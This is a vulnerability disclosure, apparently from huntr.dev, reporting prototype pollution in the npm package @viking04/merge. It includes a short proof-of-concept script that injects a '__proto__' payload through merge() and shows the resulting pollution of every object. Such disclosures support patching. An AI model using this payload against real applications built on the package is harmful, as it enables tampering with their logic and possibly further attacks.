Lucene search

K
huntrJayateertha043EF387A9E-CA3C-4C21-80E3-D34A6A896262
HistorySep 08, 2021 - 11:01 a.m.

Prototype Pollution in viking04/merge

2021-09-0811:01:26
jayateertha043
www.huntr.dev
8
npm package
prototype pollution
vulnerability
dos
remote code execution
information disclosure

EPSS

0.004

Percentile

72.4%

✍️ Description

The npm package @viking04/merge is vulnerable to Prototype Pollution.
More Details on the Vulnerability: https://medium.com/node-modules/what-is-prototype-pollution-and-why-is-it-such-a-big-deal-2dd8d89a93c

🕵️‍♂️ Proof of Concept

LIVE POC LINK

var merge = require("@viking04/merge")
var a = {"a":{"red":"apple"}}
var b = {"b":{"yellow":"mango"}}
var c = JSON.parse('{"__proto__":{"polluted":true}}')
console.log("Before:"+{}.polluted)
merge(a,b,c)
console.log("After:"+{}.polluted)

Output

"Before:undefined"
"After:true"

💥 Impact

May lead to DOS/Remote Code Execution/Changing Business Logic/Information Disclosure/XSS depending on case.

EPSS

0.004

Percentile

72.4%

Related for EF387A9E-CA3C-4C21-80E3-D34A6A896262